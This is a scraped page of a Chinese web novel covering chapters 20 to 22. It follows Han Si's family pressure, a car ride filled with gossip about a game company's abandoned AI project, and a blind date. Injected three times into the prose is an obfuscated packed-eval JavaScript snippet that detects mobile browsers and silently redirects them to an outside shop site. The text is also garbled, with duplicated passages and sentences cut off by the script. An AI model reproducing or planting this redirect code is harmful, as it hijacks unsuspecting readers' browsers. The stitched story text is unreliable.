“韩思你有没有想过你的未来?现在年轻不找你以后只能找没钱的结婚生孩子,倒时想嫁都没人要你个老姑娘!你怎么这么自私啊,我怎么这么倒霉养到你这么个贱人……” 一根又一根绵密锋利的针在扎,不需要剖开了看,就能感受到淋漓的鲜血在流淌。 “好了不要讲了。”韩思率先出声打断了对面越说越上头的火气,她安抚道,“我会去的,明天晚上,我会做最好的准备,至少不会让你抬不起头。” 嘟嘟嘟—— 对面没有应答就挂断了电话。 放在面前的关东煮冷却了些,拿起来是正好合适手的温度,她咬了颗关东煮里的鱼丸,还带爆浆的流心芝士馅。 隔着喧嚣的车水马龙,她见对面那个装酷的男大学生刚好从店里走出来,手里貌似也拿着杯关东煮。 原来耍酷哥也喜欢吃关东煮。 接着他就在她的注视下,猛地打了个喷嚏, ……原来刷酷哥还会打喷嚏。 对面那男生不得不摘下先前的口罩,又换了个新的戴上。 只是那人摘下口罩的片刻里,细碎的短发被风吹过,不经意露出的下颌线,还挺眼熟。 几乎是瞬间就和记忆里的某个人重叠。 20. 蝴蝶(2) 如果能够一直沉溺在幻想中不醒来,也许对她来说反而是件解脱的事。 但做不到。 她仍旧活在日复一日,枯燥的现实里。 第二天是周六,不过因为公司今年的收益不太好,降本增效的大环境影响下,这家以人性温度出名的公司也开始走起了996模式。 工作量急剧上升,但多出来的钱却是没有多少,不过无论怎么说,这种结局,也总比被优化没有收入来得好。 韩思定了个比往常更早一些闹钟,所以被闹铃震醒的时候,还迷迷瞪瞪的。 好像做了个很悠长的梦,梦到了曾经在《仙缘》度过的日子,树下、阳光、草地,还有无知无畏朝前进的动力。 但其实那段日子本来就是个,因蝴蝶振翅而形成的梦,所以会触之即碎。 刚洗漱完毕穿戴整齐,门外就传来了有礼貌的敲门声,一轻二重。 开门是个年轻的小伙,身穿绿色的工服,胸前别着工牌,上头写着‘小吴’,背后还印着“买新鲜蔬菜,就找xxx”的现眼宣传语。 手里拎着的是一筐瓜果蔬菜还有些肉类大豆,甚至最顶上还有瓶牛奶,他脸上笑容灿烂且模式化。 “您好,这是您今天的菜篮子,还有上半年的菜篮子如果没有什么问题的话,请您在单子上签收。” 韩思接过手,放在脚边,满满当当食材丰富的菜篮子还挺重,压得手一沉,“辛苦你了。” 又接过钢笔,翻看了两眼年轻人递过来的几张签收单子,在上面空白处唰唰签好字。 送菜小吴在安静等待的途中,余光看见了她背后的屋子。 狭小的通道,一眼就能望到底,通道的尽头是同样狭小的窗,太阳光从那狭小的地方钻进来,也能把房间照的敞亮,以至于能看见些灰尘在光线里悬浮。 是很典型的廉租房,更何况这儿地段还不好。 虽说她气质很好,字写得也漂亮,至少明面上看着不像是会因钱而困扰的人,在这儿也算是独树一帜。 但说真的,对面这名叫汉斯小姐的人怎么看都不会是他们目标客户。 韩思确实不是,她递出填完的签收单和钢笔,脸上是显而易见地肉疼:“这菜价也太贵了吧,我看菜场只有三折都不到的价格。” “这是公司定的,不是我们能决定的。”那小吴也偷摸着说了句,“我也觉着咱们这儿菜价挺贵的,虽然档次质量是高点,反正我自个儿不买。” 韩思赞同地点头,“上次忘了问,你帮我看看我那订购到什么时候过期。” “哦哦好的,帮您查一下哈。”小吴低头掏出手机,哗啦两下后怔住了,片刻后才抬头,“还有……二十五年后过期。” 韩思也是震惊地发出了:“干。” 末了她又不甘心道:“真的不能退吗?” “抱歉,我们公司规定,如果要退款的话,会有一点麻烦,而且没什么问题很难退……” 小吴显然新上岗不久,连流程化的退款说辞都磕磕绊绊,韩思摆摆手,索性打断了放过他:“算了,退了钱也不是给我,人家也不缺这点。” 他劫后余生,扯下张粉色的回执单塞在韩思手上,礼貌告辞:“哎,那我先走了?回执您收好。” 恰巧门大开着,他刚走,就见住在隔壁的阿姨晨间广场舞结束回来了,见了这幕便出声道:“哎,小吴又来给你送菜来了?今天要不要我给你烧菜呀妹妹,一直受你恩惠我也不好意思,你最近好些日子都在加班。” 嗓门挺大,还夹杂了点口音,不注意到都难。 韩思招呼阿姨过来,拎起脚边放的蔬菜篮子递给她:“阿姨我今晚不做饭,今天的这份也给你。” “哎哟喂这我怎么好意思啊。” “没事的。”韩思执意塞过去,“这些东西放我这里也是浪费,阿姨您快点收下,我要准备去上班了。” 见状那阿姨便也不再推脱,菜篮子抱在怀里,胖胖的脸上笑呵呵,唇角挤出了几条深纹:“好,你下次啥时候想吃什么我都给你做哦,上班不要太累啦,你这样天天加班要累垮的,今天怎么打扮得那么好看的嘞,是不是和小男朋友有约呀?” 韩思抓在门把手上的手微微用力,骨节泛白。 为了避免些独居会遇到的安全问题,还有街坊邻里‘热心’的饭后八卦,她索性住在这里的一开始就说她有男朋友,只是他们一直异地,男朋友也忙得很,偶尔也是她去外地找他。 她当时弯弯眼角语气轻柔地扯着小谎,她说每天早上的送菜是她男朋友给她定的,当然这也是个很有力的佐证,让大妈阿姨们暂时信了。 但怎么不算男朋友送的呢。 这些菜是自从那日发烧生病后,就每天都会准时出现在家门口的。 上游戏问零零零,零零零倒是语气认真地先发制人教训起来了:“你要好好吃饭,准时吃饭,外面的外卖我不放心,尤其是高三这个时间段……” 后来哪怕换了住址从老家到S市,照旧雷打不动,知道他订购了很久,但不知道他订购了足足有三十年。 真是任性。 阿姨还在絮絮叨叨地说着,也没有恶意:“你男朋友什么都关心,怎么人不自己来看你一眼呢,希望你们这段难熬的异地生活早点过去吧,阿姨我早年也有过异地恋,我懂你的难处,这么好看的姑娘都舍得让她一个人留在S市,也不怕被人拐了去……” “不是的阿姨,我今天是相亲。” “你……分手啦?” “嗯。” “妹妹别难过,是阿姨不好阿姨说错话了,要想旧的不去新的不来哈,异地真的不好,尤其是人男方还不来看看你,他心里肯定也没你。” 那阿姨替她抱不平起来,“要我说,你自身条件又不差,配个S市本地的小有钱人都绰绰有余,我手头人脉广啊,你这个相不中就我给你介绍,包我身上的。” “好嘞阿姨谢谢你,不过真不聊了,我要上班迟到了。” “我女儿要是肯相亲就好了,我是真不放心,我老了以后她该怎么办。” 两句话几乎是同时响起。 对面的阿姨人其实看上去很苍老了,虽然老话一直说胖子老得慢些,但时光其实一视同仁,反而因为命运的坎坷波折,时常愁苦挂着,她粗糙的脸上皱纹一道一道,又深又密,像是老树树皮上扎狠了一刀刀砍过。 比起同龄人而言,她显得更年迈些。 她的反应力亦随着年龄增长而差了些许,怔愣了片刻才反应过来,眼神转动有些滞涩:“不好意思啊打搅你了,你上班,我回去给老头子做早饭了啊,你有什么需要我帮忙的尽管说,不用客气。” 韩思含笑告别,合上门瞬间就再也维持不住笑容。 她缓缓打开手里攥着的回执单,回执单仍旧整洁干净,薄薄的粉色纸张上,清晰地写着订购人的姓名。 陌生的人名,尖锐地提醒着,她仍活在日复一日枯燥的现实里。 卡着打卡时间准时来到公司,下午的时候被上级叫走了。果不其然因为那个嘉总的投诉,她被当众点名批评,不过也是她罪有应得,这世上哪有什么做了选择却不用承担后果的好事呢。 反正一来二去的,脸皮也厚了,她装出一副诚恳认错的态度,并且保证下次绝不会再意气用事。 毕竟来A组后她努力做出的贡献真不少,周围的人也都看在眼里,帮衬着在大领导面前说了几句好话,这事儿也算揭过。 回到工位赶紧处理工作上的事情,在下班前总算把邮件发送出去,交接给下一个负责人。 在椅背上上瘫了会儿喘口气,她又抓过包打卡下楼,倒在公司楼底下碰见了隔壁组那个外向的女生,站在她边上西装革履的年轻人,貌似就是那位相当优秀的男朋友了。 两人恩爱得很,男生似乎也是刚下班就来接女生了,那种一股子恨不得时时刻刻黏黏腻腻在一块的劲儿,俗称—— 恋爱的酸臭味。 “韩姐?难得一见啊你竟然准时下班了?” 韩思刚打算装没看见溜出去,就被叫住了,她不得已回过头:“是啊,今天晚上我去淮河路有点事,26路要到了,徐莨我先走了哈。” 却不想徐莨特热情,她一听到淮h路眼睛就亮了下:“淮河路吗?那块我们也顺路,要不要搭个顺风车?” 看韩思还打算客气拒绝,徐莨又道:“你看外头要下雨了,坐公交多不方便啊,就让我们送你吧,甭客气,一脚油门的事儿。” “韩姐我正好还想和你说呢,你不是还挺喜欢《仙缘》那个游戏的吗?我男朋友入职的公司,正好是开发那游戏的天星科技集团,你知道天星吗,就在我们单位不远的地方。” “知道的,就那栋开在CBD金碧辉煌的大楼,能在那地方工作是相当优秀呢。”韩思略带歉意地笑笑,“那我就蹭一下你们的车了,麻烦你们了。” “哪里的话,之前韩姐你在我刚来单位的时候可照拂我了,相较而言就让你搭个便车,洒洒水啦。” 徐莨热情应答,拉过她男朋友在前头带路,两人的车就停在不远处的停车位上,走两步便到了,是一辆白色的奥迪A8,车型流畅,牌照也是昂贵的A牌。 车内饰也很漂亮,坐垫软乎。 徐莨坐上副驾驶就和男朋友说道,“这位就是韩姐,我和你说过的,我刚来公司的时候,是她一直关照我,可惜她一直加班,之前都没机会下班后遇到。” 她又转过头,热情介绍:“韩姐这是我男朋友,陈渝亮。” 被如此热情推销,韩思挂着笑容,礼貌点头:“客气啦,也是徐莨她自己努力的功劳,您是她男朋友吧,百闻不如一见,她在公司里经常提到你。” 那个男生瞬间耳垂就红了,低头看着徐莨。 徐莨贴过去蹭蹭,抬头嘻嘻地笑了下,“当然是说你好啦。” 韩思坐在后排跟着打趣道:“我作证,确实啊,整个公司上上下下就没人不知道徐莨超爱她男朋友的。” “你看韩姐都这么说了。”徐莨戳了戳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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真狼狈啊韩思。她在心底默默自嘲,哪怕仅是熟悉的下颌线,哪怕隔着街道模糊视线,也会意乱如麻,几乎是逃回了家里。 徐莨不知道什么时候打开了小蛋糕,小口小口地吃着:“说起约会,韩姐你知道吗,阿渝就是在《仙缘》里和我表白的,所以这游戏对我们来说也有挺特别的意义呢。” 车厢里弥漫着小蛋糕甜甜的香味。 徐莨咬着勺子,手肘戳了戳男朋友:“诶阿渝,你现在在天星集团上班,知不知道为啥《仙缘》那么破败吗?是因为不赚钱吗,但它是突然之间在最顶峰的时候就,唰一下就中落了,好奇怪。” “我听组里的前辈说过,不过他说得挺神神叨叨的,听说还请来了法师,他们说这项目不好破财,所以砍了。” 徐莨发出了原来如此的声音:“有钱人果然做决策都沾几分迷信,我爸之前做项目的时候还要占卜看黄历呢。” “我感觉可能也和集团转型有关吧,《仙缘》时期的天星不是以人工智能领域为主导么,《仙缘》也以智能AI为特色,不过现在我在总部几乎都不见人工智能项目组的人了,好像砍得差不多了。” 徐莨赞同:“是这样的,天星之前在人工智能方面做得真的相当牛,当时游戏里的Ai搞得真实得,我都分辨不出来真人还是假人,还一个一个都特别漂亮特别会说好听的话。” 陈渝亮闷闷道:“也就只有你会分不清Ai和真人,还一上游戏就沉迷和Ai聊天。”言语里都是止不住的酸溜溜醋味。 徐莨抗议:“哪有啦,就事论事,真的很难分清。” 想到车里还坐着一位同样玩过仙缘的人,徐莨着急向她求证:“韩姐你呢,你当时分得清楚吗?是不是也觉得天星的人工智能做得特别牛?” “分不清,《仙缘》里的Ai和人没有区别。” 得到了支持的回答,徐莨嘻嘻笑着拍了拍陈渝亮的腿,得瑟道:“是吧是吧,韩姐那么理智的人都这么觉得,你就别太在意了,我这还不是天天和你呆在一块儿,把游戏老早就卸了,继续说说呗阿渝,天星集团还有什么八卦不?” 陈渝亮脸红着,推走徐莨的手:“别闹,我在开车。” 内外温差导致车窗上升腾了些雾气,韩思抬手擦了擦玻璃。 不知道什么时候外面下起了淅淅沥沥的小雨,透过车窗上的雨水氤氲,外头的霓虹灯模糊成色块,乌云紧锣密鼓地布在天上,本来就已经是黄昏,此刻天色更昏暗了。 正好经过闹市区,车流较缓,陈渝亮打开远光灯和雨刷,继续说道:“突然想起来,当时前辈还和我说砍了好,他说人工智能组之前老闹鬼,还有人半夜看到过尸体,吓得第二天连公司都没敢来就辞职了。” “仿生人仿得太像了,半夜灯又暗神智不清的,还真有可能看错。”一听到这种刺激的八卦,徐莨越聊越有兴趣,一个劲儿地问道:“阿渝还有没有,再来点鬼故事。” 陈渝亮思考了会儿,才说道:“前辈说他很久以前半夜经过智能组时候,也看到过一具尸体,脸长得挺像董事长的,所以他好长一段时间都没敢看董事长,其他的真没了。” 21. 蝴蝶(3) 卡着打卡时间准时来到公司,下午的时候被上级叫走了。果不其然因为那个嘉总的投诉,她被当众点名批评,不过也是她罪有应得,这世上哪有什么做了选择却不用承担后果的好事呢。 反正一来二去的,尤其是高中那段日子和零零零待久了,她脸皮也渐渐厚了,装出一副诚恳认错的态度,并且保证下次绝不会再意气用事。 毕竟来A组后她努力做出的贡献真不少,周围的人也都看在眼里,帮衬着在大领导面前说了几句好话,这事儿也算揭过。 回到工位赶紧处理工作上的事情,在下班前总算把邮件发送出去,交接给下一个负责人。 在椅背上上瘫了会儿喘口气,她又抓过包打卡下楼,倒在公司楼底下碰见了隔壁组那个外向的女生,站在她边上西装革履的年轻人,貌似就是那位相当优秀的男朋友了。 两人恩爱得很,男生似乎也是刚下班就来接女生了,那种一股子恨不得时时刻刻黏黏腻腻在一块的劲儿,俗称—— 恋爱的酸臭味。 “韩姐?难得一见啊你竟然准时下班了?” 韩思刚打算装没看见溜出去,就被叫住了,她不得已回过头:“是啊,今天晚上我去淮河路有点事,26路要到了,徐莨我先走了哈。” 却不想徐莨特热情,她一听到淮h路眼睛就亮了下:“淮河路吗?那块我们也顺路,要不要搭个顺风车?” 看韩思还打算客气拒绝,徐莨又道:“你看外头要下雨了,坐公交多不方便啊,就让我们送你吧,甭客气,一脚油门的事儿。” “韩姐我正好还想和你说呢,你不是还挺喜欢《仙缘》那个游戏的吗?我男朋友入职的公司,正好是开发那游戏的天星科技集团,你知道天星吗,就在我们单位不远的地方。” “知道的,就那栋开在CBD金碧辉煌的大楼,能在那地方工作是相当优秀呢。”韩思略带歉意地笑笑,“那我就蹭一下你们的车了,麻烦你们了。” “哪里的话,之前韩姐你在我刚来单位的时候可照拂我了,相较而言就让你搭个便车,洒洒水啦。” 徐莨热情应答,拉过她男朋友在前头带路,两人的车就停在不远处的停车位上,走两步便到了,是一辆白色的奥迪A8,车型流畅,牌照也是昂贵的A牌。 车内饰也很漂亮,坐垫软乎。 徐莨坐上副驾驶就和男朋友说道,“这位就是韩姐,我和你说过的,我刚来公司的时候,是她一直关照我,可惜她一直加班,之前都没机会下班后遇到。” 她又转过头,热情介绍:“韩姐这是我男朋友,陈渝亮。” 被如此热情推销,韩思挂着笑容,礼貌点头:“客气啦,也是徐莨她自己努力的功劳,你是她男朋友吧,百闻不如一见,她在公司里经常提到你。” 那个男生瞬间耳垂就红了,低头看着徐莨。 徐莨贴过去蹭蹭,抬头嘻嘻地笑了下,“当然是说你好啦。” 韩思坐在后排跟着打趣道:“我作证,确实啊,整个公司上上下下就没人不知道徐莨超爱她男朋友的。” “你看韩姐都这么说了。”徐莨戳了戳旁边人的肩头,坏笑道,“阿渝你脸好红啊。” 车内两个女生笑得闹哄哄的,摸着方向盘开车的陈渝亮脸彤彤红,默了片刻才憋出一句小小声的告饶:“别老打趣我,我给你带了点吃的,你先吃。” 徐莨:“xx大学门口的小蛋糕吗,可是我要减肥。” 陈渝亮:“你现在体型很漂亮啊。” “那我不减了,阿渝你减。”徐莨又话锋一转,回过头来,“韩姐要不要吃呀?这家小蛋糕特别好吃,而且是减糖版,不甜不腻。” 韩思略带揶揄的回答响起:“狗粮都吃饱啦,不用了。” “吃点甜的呗,上班的生活那么苦。不过到底是韩姐,我听说你的事迹了,硬生生气退了那个嘉总,我也看那人不爽很久了,替大家出了口恶气!” “我还挺后悔的呢。” 听到韩思这么说,徐莨一愣。 接着又听韩思装模作样叹气补充道:“一想到他这举报还搞没了我的奖金,早知道昨天骂狠点了,唉。” 徐莨转身,把小蛋糕递在韩思身前,边硬塞边说道:“那韩姐更要吃块小蛋糕安慰安慰自己了。” 韩思把蛋糕和人一并塞回座位上,道:“真不用,我今天约了人去吃晚饭。” 徐莨顺口问道:“约会啊?” 韩思喟叹悠长,充斥着无可奈何道:“相亲。” 徐莨惊讶之情溢于言表:“诶?真相亲啊,那先祝韩姐有个好结果!” “但愿吧。” 韩思答道,话虽这么说,她安静地看着窗外风景飞逝,好结果坏结果什么的已经不重要了,只有她自己心里最清楚。 在电脑合上的时候,蝴蝶的死亡就已经是定数。 更何况蝴蝶本来就是电子的。 漫无目的地想到家门口的那家便利店,也不知道今天那个喜欢穿外套的耍酷哥会不会去买便当,不过今晚肯定是见不到了。 真狼狈啊韩思。她在心底默默自嘲,明知如此,但哪怕仅是熟悉的下颌线,哪怕隔着街道模糊视线,也会意乱如麻,几乎是逃回了家里。 徐莨不知道什么时候打开了小蛋糕,小口小口地吃着:“说起约会,韩姐你知道吗,阿渝就是在《仙缘》里和我表白的,所以这游戏对我们来说也有挺特别的意义呢。” 车厢里弥漫着小蛋糕甜甜的香味。 徐莨咬着勺子,手肘戳了戳男朋友:“诶阿渝,你现在在天星集团上班,知不知道为啥《仙缘》那么破败吗?是因为不赚钱吗,但它是突然之间在最顶峰的时候就,唰一下就中落了,好奇怪。” “我听组里的前辈说过,不过他说得挺神神叨叨的,听说还请来了法师,他们说这项目不好破财,所以砍了。” 徐莨发出了原来如此的声音:“有钱人果然做决策都沾几分迷信,我爸之前做项目的时候还要占卜看黄历呢。” “我感觉可能也和集团转型有关吧,《仙缘》时期的天星不是以人工智能领域为主导么,《仙缘》也以智能AI为特色,不过现在我在总部几乎都不见人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592910|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工智能项目组的人了,好像砍得差不多了。” 徐莨赞同:“是这样的,天星之前在人工智能方面做得真的相当牛,当时游戏里的Ai搞得真实得,我都分辨不出来真人还是假人,还一个一个都特别漂亮特别会说好听的话。” 陈渝亮闷闷道:“也就只有你会分不清Ai和真人,还一上游戏就沉迷和Ai聊天。”言语里都是止不住的酸溜溜醋味。 徐莨抗议:“哪有啦,就事论事,真的很难分清。” 想到车里还坐着一位同样玩过仙缘的人,徐莨着急向她求证:“韩姐你呢,你当时分得清楚吗?是不是也觉得天星的人工智能做得特别牛?” “分不清,《仙缘》里的Ai和人没有区别。” 得到了支持的回答,徐莨嘻嘻笑着拍了拍陈渝亮的腿,得瑟道:“是吧是吧,韩姐那么理智的人都这么觉得,你就别太在意了,我这还不是天天和你呆在一块儿,把游戏老早就卸了,继续说说呗阿渝,天星集团还有什么八卦不?” 陈渝亮脸红着,推走徐莨的手:“别闹,我在开车。” 内外温差导致车窗上升腾了些雾气,韩思抬手擦了擦玻璃。 不知道什么时候外面下起了淅淅沥沥的小雨,透过车窗上的雨水氤氲,外头的霓虹灯模糊成色块,乌云紧锣密鼓地布在天上,本来就已经是黄昏,此刻天色更昏暗了。 正好经过闹市区,车流较缓,陈渝亮打开远光灯和雨刷,继续说道:“突然想起来,当时前辈还和我说砍了好,他说人工智能组之前老闹鬼,还有人半夜看到过尸体,吓得第二天连公司都没敢来就辞职了。” “仿生人仿得太像了,半夜灯又暗神智不清的,还真有可能看错。”一听到这种刺激的八卦,徐莨越聊越有兴趣,一个劲儿地问道:“阿渝还有没有,再来点鬼故事。” 陈渝亮思考了会儿,才说道:“前辈说他很久以前半夜经过智能组时候,也看到过一具尸体,脸长得挺像董事长的,所以他好长一段时间都没敢看董事长,其他的真没了。” 徐莨感叹:“我脑补了下,这对他来说还真挺吓人的,不过你那前辈胆子也大,竟然没有第二天就直接辞职不干诶。” “是挺吓人,我听完都不敢加班。” 徐莨幸灾乐祸道:“但你后面段时间不能不加吧,听说那集团董事长的儿子要上任了,之前在分公司磨砺,现在来S市了,估计会天天跑总公司。” “是啊,所以幸好人工智能组裁员裁了,也不知道新上任的这位什么脾气,还是个特年轻的年轻人,分公司的说他老卷了,对效益达到了吹毛求疵的要求,不过安排工资什么的倒都挺合理。” “我也听我爸说了,那人特年轻,之前业务洽谈的时候接触过,还挺幽默风趣不摆架子,反正老头说比老的那个老狐狸好多了。” 两人在聊的东西韩思插不进嘴,但她也不太感兴趣。 车子驶过转弯口,一栋海蓝色外观的高楼伫立在这条街的尽头,在高楼林立霓虹闪烁的商业繁华圈里依旧瞩目,一眼便能看到顶层挂着硕大的天星科技集团标志。 22. 蝴蝶(4) 抵达约定地点的时候已经是倾盆大雨了。 韩思下车告别他俩,解锁手机看时间,由于不是坐公交过来,比约定时间还早了近一个小时,但雨势太大没过多久裤脚就被打湿,只能找家店推门进去躲会儿。 虽说餐厅就在边上,但进去半小时只点杯饮料也怪尴尬,于是找了家边上的便利店兜兜转转消磨时间。 开在CBD商圈的便利店都比郊区的小不少,挤在两间店铺中艰难求生,没走两步就能走到底。 韩思转了两圈都没找到东西可以买,一开始还想买几包小零嘴过过嘴瘾,结果看见货架上的贴的标签没有少于十块的,她还是决定收手。 开玩笑,一模一样的东西在某知名廉价平台上仅卖十块钱三包,这和直接伸顾客兜里抢钱有什么区别?她这月奖金刚飞走,是脑子坏了才会下手买。 而且这里的柠檬茶比正常店里还要贵一块。 韩思路过冰柜的时候下意识啧了一声。 奸商啊奸商! 啧完就见老板模样的谢顶中年男人从大堆琳琅商品里探出脑袋,目光直向这便利店里的唯一顾客而来。 五分钟的无言僵持后—— “支付宝到账,3.5元。” 她还是抱着一瓶冰柠檬茶走出便利店,回头看那老板锃亮的脑门早就缩了回去,正全神贯注刷小视频。 买都买了,带着点怨气拧开瓶盖喝了口,外头的大雨织成硕大玻璃珠帘子,打在地上乒乒乓乓作响,溅起水汽扑面而来。 柠檬茶难喝得理所当然,但在一堆琳琅满目的商品里,她下意识就拿了最熟悉的东西。 五六年的时间世界都地覆天翻,就它连瓶身包装都没换,老土的潮流字体上还挂着《仙缘》的广告,真该边上再写上句系兄弟就砍我,一刀999。 看时间还剩大概三十多分钟,便去隔壁的餐厅点了杯饮料等着了。 也许是周六的缘故,附近大学也比较密集,这场突如其来的大雨刮下,这家小资情调的餐吧里聚集着不少年轻人,隔几桌就能看到大学生模样的小情侣在甜甜蜜蜜地约会。 斜对面那桌好像在过生日。男孩子给女孩子戴上了生日帽,因为女孩子头发披散在肩膀上,又扎了个精心编过的小辫子,他边戴还边帮女孩子的头发别到耳后防止碰散,又小心翼翼地卡上,生怕扯破这纸张做的生日帽。 店里不能有明火,所以生日蜡烛是用塑料做的灯,按下开关蜡烛芯就散发着微微的亮光,假假的小火苗又好像真的在烧,女孩子插蜡烛,男生在旁边小声唱着生日快乐,暖色调的灯光笼罩住他们青春稚嫩的脸。 韩思嘬着莫吉托饶有兴致地偷偷观察,但眼看斜对面的这对还穿校服的两人即将情到深处打个啵儿,她匆匆忙忙移开视线。 这年轻人成天想着恋爱不专心学习。 装模作样地在心里指指点点一番,余光却看到他们只是拥抱了下。 又看手机已经是七月中旬了,今年的高考都已经是过去式。时间过得太快,就像潺潺溪流,仅仅一个恍惚,就已经倥偬而过。 照这样看,她貌似也快生日了。 零零零的生日在新年钟声敲响的时候,她生日在高考后几天,一个在一年里的最开始,一个在一年里的最中间。 百无聊赖地发着呆,就听见有人在喊她的名字,语气略带不确定。 “韩思?” 韩思抬头,一个穿着黑色西服的男人仿佛得到了肯定的回复,他快步走上前。 趁这短短的几秒功夫,韩思粗略打量一番。这人头发貌似用发蜡打过,在灯光下微微有点反光,身型不高,透过衬衫隐约能推测出有点小肚子,长相普通泯然大众,但在大众里还算偏上乘,至少整洁。 比起一些堪比牛鬼蛇神邋里邋遢的相亲对象来说,确实第一印象就好上不少,再加上年轻有为的履历加分,难怪会得到“特别抢手”的称号。 他把公文包放在一边,自然地就在对面的位置上坐下,脸上是惊奇。 正好奇着这貌似是相亲对象的人是怎么认出自己来的,就听他问道:“你没认出我吗?婶母给我介绍对象的时候,我看到你名字我还以为同名同姓,结果没想到真是你啊,但我一眼就认出你了,你还没认出我吗?” 任凭那人自来熟地打趣,奈何韩思仍旧想不起来,思忖良久后决定开门见山:“抱歉,有点忘记了。” “真伤人啊,我们之前还是同学呢,我一直记得你在我们那垫底的高中里,成绩一直都是名列前茅,你现在在S市发展吗?真厉害。” 韩思摇了摇头,拿着菜单递给对面:“嗯。就是个普通的小职员,听说你已经是高管了,自然是你比较厉害,你看看点什么。” “你是不知道我有多努力加班,每天还要防止上司的职权骚扰。” 韩思困惑:“骚扰?” “是啊,虽然上司大家都说她很漂亮,但她事业心太重了,结婚的话我还是想要一个能照顾好家里的,这样我才好放心赚钱。”对面的男人意有所指地抬起头,把菜单递回给韩思,“你来点吧,我都可以。” 韩思当没看见,接过菜单,她也没来过这家餐厅,所以就点上几个招牌菜。 男人侃侃而谈他的过去,例如考试作弊被老师罚站通知家长,不过前几天趁教师节回学校那班主任还夸他现在混得是风生水起。 他还说当年他们班都成绩不好,也不肯不学习,被班主任老教训,说你们都看看隔壁班的韩思,临时转来不适应学校,但人家也就第一次联考成绩差了点,后来照样门门都行,你们天天学学个屁了都。 末了又像想起了什么,一饮而尽玻璃杯里的饮料,问韩思:“我都说这么多了,你不会还没想起来我是谁吧?” 韩思转着碗里的小汤匙,客气回道:“赵永康,隔壁班里坐在后排,挺高的男生。” 其实说一半的时候,她就差不多想起来了,被刻意遗落在旮旯里不敢翻看的记忆,过了五年再回看,好像也不过如此。 赵永康好像还有点不甘心:“就这点印象吗?我当时还算是学校里的风云人物呢,不过当然比不过你哈哈,你可是全省都出名了。” 韩思仔细回想了下,说道:“还有和潘邢他们打过球,篮球打得很好,好像哪次比赛还赢了第一。” 当然有印象,当时潘邢揍人的时候,赵永康这人在旁边鼓掌也鼓得很响,分明是隔壁班的人,还老喜欢串到她班上来看笑话,一回自个儿班就迫不及待地把笑料传递开。 她垂下眼帘,会把相亲闹得难看的话,没必要说出口,他想听的好话,顺着他意思来便是了。 “那天是我的人生巅峰,一天被四个妹子告白。”赵永康好像又意识到什么,抓抓后脑勺讪笑:“我那时候也喜欢跟风,毕竟你知道的,潘邢那男的特有钱,小时候的事,不太懂是非,不过都过去了,我不像他,没干什么出格的事情。” 韩思轻点头,弯弯眼角:“都五六年了,早过去了。” 没什么是时间冲淡不了的,无论是炽热的爱,还是刻骨的厌恶,连刻凿在石头的痕迹都会消磨,遑论无所归依的情感。 短暂的沉默里,她接过服务员递过来的餐盘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624317|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知对面那赵永康怎想的,但好像真的对她有点意思,拿了饭也不吃,故意找了话题继续聊:“不瞒你说,也不是我自夸,我现在见义勇为,我们单位的饮水机都是我换的,还有重物啊什么的都是我帮忙搬。” 韩思边吃边:“挺好的呢。” 一谈工作他说得慷慨激昂,刺刺不休地说了好多,韩思也有礼貌,在他停顿的时候应答附和充当气氛组,不过她到底是个无趣的人,也就“真好”“挺好”“不错”这几句车轱辘话来回碾。 就算做个气氛组,也渐渐觉得枯燥,还不太方便吃饭,有点想回家躺着了。 外面的雨还是很大,隔着厚重的玻璃窗也能听见。这家店有个露天外摆,虽说有遮雨棚挡着,但奈何雨势还随着风斜斜地吹进来,所以现在只有最里头的几个座位是干着的,不过也没人愿意去坐。 偶然间分神,韩思嚼着牛肉粒转头向窗外一瞥,不什么时候有人坐在那露天的位置上,看轮廓依稀是个年轻人,穿着件灰色外套,头戴帽子,帽檐压得很低,看不大清楚,依稀能辨别出戴着墨镜和口罩。 但就是给人种特别眼熟的感觉。 不能是那便利店经常碰上的耍酷哥吧,毕竟大夏天全副武装的也就见过那一个。 对面的赵永康好似终于讲完了,进入话题的末尾,怀才不遇般叹口气:“当年我要不是高考没能考好,一定混得比现在还要好,也不用被一群没用的人压在头上受他们的气,你呢韩思,你当年最后考了哪所大学,肯定考得比我好。” “A大。” 赵永康的脸上闪过惊讶:“你就在S市上的大学?A大出来也只能进这家公司的分公司吗?不是说你的意思,就是感叹一下,你是不是专业没选好啊。” 韩思答道:“是著名的就业难岗位。” 她收回目光再次看向眼前的男人,哪怕此刻赵永康脸上的表情是单纯好奇,就好像在真情实感地替她惋惜,但还是在他的脸上看到了点掩藏不住的高兴。 “唉你当时成绩那么好,我以为你至少能混个高管当当什么的。这么看你已经很长时间没回家了,都说父母在不远游,你一定想家了吧,要不要回去看看?正好我这次来S市出差,后天就要回去,我们可以坐一班车,搭个伴,顺路还可以去高中看看。” “是好久没回去了。”韩思唇角微勾起,笑得很平和,道:“计划是春节回去趟,我这边虽然岗位小,但工作量大,不大方便请假。” 赵永康总算对餐盘里冷掉的意面动手了,他边倒腾边吐槽:“工作量大但工资又不肯多给,资本家都这个鬼样子,你要不辞了算了。” “是这样的,不过总要养活自己。” 